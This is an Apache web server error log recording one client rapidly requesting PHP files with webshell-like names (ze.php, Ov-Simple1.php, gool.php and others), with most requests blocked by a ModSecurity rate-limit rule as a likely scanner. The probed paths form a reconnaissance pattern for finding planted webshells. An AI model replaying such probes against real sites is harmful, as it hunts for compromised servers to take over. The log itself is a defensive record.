[Mon Mar 02 02:17:10.454977 2026] [proxy_fcgi:error] [pid 53585:tid 53591] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:10.674019 2026] [proxy_fcgi:error] [pid 53585:tid 53590] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:10.885358 2026] [proxy_fcgi:error] [pid 53585:tid 53596] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:11.162847 2026] [proxy_fcgi:error] [pid 53585:tid 53605] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:11.649633 2026] [proxy_fcgi:error] [pid 53585:tid 53591] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:12.110586 2026] [:error] [pid 53585:tid 53601] [client 20.220.232.240:44012] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ze.php"] [unique_id "aaSCqHbCvYsvu6kKhM3BUwAAAA0"]
[Mon Mar 02 02:17:14.045209 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:43956] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ze.php"] [unique_id "aaSCqhrUg-j5GLDtRFncmQAAAFM"]
[Mon Mar 02 02:17:15.019409 2026] [:error] [pid 53585:tid 53597] [client 20.220.232.240:43964] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ze.php"] [unique_id "aaSCq3bCvYsvu6kKhM3BYAAAAAk"]
[Mon Mar 02 02:17:15.821057 2026] [:error] [pid 26940:tid 26947] [client 20.220.232.240:43900] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ze.php"] [unique_id "aaSCqxrUg-j5GLDtRFncnwAAAEM"]
[Mon Mar 02 02:17:16.943699 2026] [:error] [pid 53182:tid 53543] [client 20.220.232.240:43849] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file52.php"] [unique_id "aaSCrPv073cA6eM1YCTnWAAAAMA"]
[Mon Mar 02 02:17:18.041812 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:43847] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file52.php"] [unique_id "aaSCrhrUg-j5GLDtRFncrAAAAFM"]
[Mon Mar 02 02:17:20.784975 2026] [:error] [pid 53585:tid 53602] [client 20.220.232.240:43882] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file52.php"] [unique_id "aaSCsHbCvYsvu6kKhM3BbwAAAA4"]
[Mon Mar 02 02:17:21.867513 2026] [:error] [pid 53181:tid 53524] [client 20.220.232.240:43843] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file52.php"] [unique_id "aaSCsYr_0T1SazTrJOBO7gAAAQk"]
[Mon Mar 02 02:17:24.620494 2026] [:error] [pid 53180:tid 53455] [client 20.220.232.240:43967] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tax.php"] [unique_id "aaSCtDPPJpDOBvYnaa1mQAAAAYs"]
[Mon Mar 02 02:17:25.828700 2026] [:error] [pid 53180:tid 53463] [client 20.220.232.240:43824] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tax.php"] [unique_id "aaSCtTPPJpDOBvYnaa1mRAAAAZM"]
[Mon Mar 02 02:17:26.555441 2026] [:error] [pid 53180:tid 53447] [client 20.220.232.240:43899] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tax.php"] [unique_id "aaSCtjPPJpDOBvYnaa1mRgAAAYM"]
[Mon Mar 02 02:17:27.890053 2026] [:error] [pid 53182:tid 53560] [client 20.220.232.240:43959] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tax.php"] [unique_id "aaSCt_v073cA6eM1YCTncwAAANA"]
[Mon Mar 02 02:17:29.066130 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43902] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaSCuRrUg-j5GLDtRFnc5QAAAEA"]
[Mon Mar 02 02:17:30.009550 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43961] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaSCuhrUg-j5GLDtRFnc8QAAAEg"]
[Mon Mar 02 02:17:30.732802 2026] [:error] [pid 53585:tid 53609] [client 20.220.232.240:43952] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaSCunbCvYsvu6kKhM3BlwAAABU"]
[Mon Mar 02 02:17:31.835691 2026] [:error] [pid 53181:tid 53514] [client 20.220.232.240:43903] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaSCu4r_0T1SazTrJOBO_AAAAQA"]
[Mon Mar 02 02:17:33.608917 2026] [:error] [pid 53585:tid 53593] [client 20.220.232.240:44006] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aaSCvXbCvYsvu6kKhM3BtAAAAAU"]
[Mon Mar 02 02:17:35.232606 2026] [:error] [pid 53182:tid 53557] [client 20.220.232.240:43851] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aaSCv_v073cA6eM1YCTnjAAAAM0"]
[Mon Mar 02 02:17:36.334494 2026] [:error] [pid 53585:tid 53611] [client 20.220.232.240:43893] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aaSCwHbCvYsvu6kKhM3BxwAAABc"]
[Mon Mar 02 02:17:38.199198 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43889] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aaSCwhrUg-j5GLDtRFndAAAAAFQ"]
[Mon Mar 02 02:17:39.134118 2026] [:error] [pid 53585:tid 53608] [client 20.220.232.240:43788] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brc.php"] [unique_id "aaSCw3bCvYsvu6kKhM3B3gAAABQ"]
[Mon Mar 02 02:17:40.829939 2026] [:error] [pid 53585:tid 53604] [client 20.220.232.240:43811] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brc.php"] [unique_id "aaSCxHbCvYsvu6kKhM3B7wAAABA"]
[Mon Mar 02 02:17:42.009267 2026] [:error] [pid 26940:tid 26965] [client 20.220.232.240:43873] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brc.php"] [unique_id "aaSCxhrUg-j5GLDtRFndBQAAAFU"]
[Mon Mar 02 02:17:42.895195 2026] [:error] [pid 26940:tid 26953] [client 20.220.232.240:43802] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brc.php"] [unique_id "aaSCxhrUg-j5GLDtRFndCgAAAEk"]
[Mon Mar 02 02:17:43.975682 2026] [:error] [pid 53182:tid 53544] [client 20.220.232.240:43862] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSCx_v073cA6eM1YCTnrgAAAME"]
[Mon Mar 02 02:17:45.555701 2026] [:error] [pid 53585:tid 53589] [client 20.220.232.240:43945] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSCyXbCvYsvu6kKhM3CFgAAAAE"]
[Mon Mar 02 02:17:46.569639 2026] [:error] [pid 26940:tid 26949] [client 20.220.232.240:43721] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSCyhrUg-j5GLDtRFndGwAAAEU"]
[Mon Mar 02 02:17:47.549493 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43814] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSCyxrUg-j5GLDtRFndIAAAAEg"]
[Mon Mar 02 02:17:48.083145 2026] [:error] [pid 26940:tid 26961] [client 20.220.232.240:43968] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaSCzBrUg-j5GLDtRFndJwAAAFE"]
[Mon Mar 02 02:17:49.266328 2026] [:error] [pid 26940:tid 26959] [client 20.220.232.240:43767] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaSCzRrUg-j5GLDtRFndMQAAAE8"]
[Mon Mar 02 02:17:50.390774 2026] [:error] [pid 26940:tid 26950] [client 20.220.232.240:43977] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaSCzhrUg-j5GLDtRFndNQAAAEY"]
[Mon Mar 02 02:17:51.280404 2026] [:error] [pid 53585:tid 53605] [client 20.220.232.240:43947] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaSCz3bCvYsvu6kKhM3CQQAAABE"]
[Mon Mar 02 02:17:53.409916 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43850] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaSC0RrUg-j5GLDtRFndRgAAAFQ"]
[Mon Mar 02 02:17:55.078782 2026] [:error] [pid 26940:tid 26960] [client 20.220.232.240:43827] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaSC0xrUg-j5GLDtRFndUwAAAFA"]
[Mon Mar 02 02:17:56.463016 2026] [:error] [pid 53182:tid 53557] [client 20.220.232.240:43880] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaSC1Pv073cA6eM1YCTnzQAAAM0"]
[Mon Mar 02 02:17:57.233738 2026] [:error] [pid 53180:tid 53453] [client 20.220.232.240:43786] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaSC1TPPJpDOBvYnaa1maAAAAYk"]
[Mon Mar 02 02:17:58.354997 2026] [:error] [pid 53585:tid 53597] [client 20.220.232.240:43803] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaSC1nbCvYsvu6kKhM3CdgAAAAk"]
[Mon Mar 02 02:17:59.051323 2026] [:error] [pid 26940:tid 26967] [client 20.220.232.240:43818] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaSC1xrUg-j5GLDtRFndcwAAAFc"]
[Mon Mar 02 02:17:59.890124 2026] [:error] [pid 53585:tid 53606] [client 20.220.232.240:43792] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaSC13bCvYsvu6kKhM3CfgAAABI"]
[Mon Mar 02 02:18:00.625364 2026] [:error] [pid 53182:tid 53549] [client 20.220.232.240:43759] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaSC2Pv073cA6eM1YCTn1QAAAMY"]
[Mon Mar 02 02:18:01.359691 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:43897] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aaSC2RrUg-j5GLDtRFndewAAAFg"]
[Mon Mar 02 02:18:01.878814 2026] [:error] [pid 26940:tid 26957] [client 20.220.232.240:43749] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aaSC2RrUg-j5GLDtRFndfQAAAE0"]
[Mon Mar 02 02:18:02.838335 2026] [:error] [pid 26940:tid 26951] [client 20.220.232.240:43891] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aaSC2hrUg-j5GLDtRFndgwAAAEc"]
[Mon Mar 02 02:18:03.456265 2026] [:error] [pid 53182:tid 53555] [client 20.220.232.240:43951] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aaSC2_v073cA6eM1YCTn5wAAAMs"]
[Mon Mar 02 02:18:04.348794 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43796] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaSC3BrUg-j5GLDtRFndiQAAAE4"]
[Mon Mar 02 02:18:05.090194 2026] [:error] [pid 26940:tid 26967] [client 20.220.232.240:43778] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaSC3RrUg-j5GLDtRFndjwAAAFc"]
[Mon Mar 02 02:18:05.752222 2026] [:error] [pid 53585:tid 53593] [client 20.220.232.240:43729] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaSC3XbCvYsvu6kKhM3CngAAAAU"]
[Mon Mar 02 02:18:06.522319 2026] [:error] [pid 26940:tid 26957] [client 20.220.232.240:43894] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaSC3hrUg-j5GLDtRFndlwAAAE0"]
[Mon Mar 02 02:18:07.263871 2026] [:error] [pid 26940:tid 26948] [client 20.220.232.240:43821] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aaSC3xrUg-j5GLDtRFndmwAAAEQ"]
[Mon Mar 02 02:18:08.355368 2026] [:error] [pid 53181:tid 53515] [client 20.220.232.240:43777] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aaSC4Ir_0T1SazTrJOBPdgAAAQE"]
[Mon Mar 02 02:18:09.203633 2026] [:error] [pid 26940:tid 26961] [client 20.220.232.240:43816] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aaSC4RrUg-j5GLDtRFndqwAAAFE"]
[Mon Mar 02 02:18:09.937560 2026] [:error] [pid 26940:tid 26957] [client 20.220.232.240:43879] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aaSC4RrUg-j5GLDtRFndtwAAAE0"]
[Mon Mar 02 02:18:10.443025 2026] [:error] [pid 53585:tid 53600] [client 20.220.232.240:43742] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rum.php"] [unique_id "aaSC4nbCvYsvu6kKhM3CtAAAAAw"]
[Mon Mar 02 02:18:10.941894 2026] [:error] [pid 53585:tid 53608] [client 20.220.232.240:43795] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rum.php"] [unique_id "aaSC4nbCvYsvu6kKhM3CugAAABQ"]
[Mon Mar 02 02:18:11.580892 2026] [proxy_fcgi:error] [pid 53181:tid 53522] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:11.790363 2026] [proxy_fcgi:error] [pid 53181:tid 53527] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:12.000456 2026] [proxy_fcgi:error] [pid 53181:tid 53523] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:12.212440 2026] [proxy_fcgi:error] [pid 53181:tid 53530] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
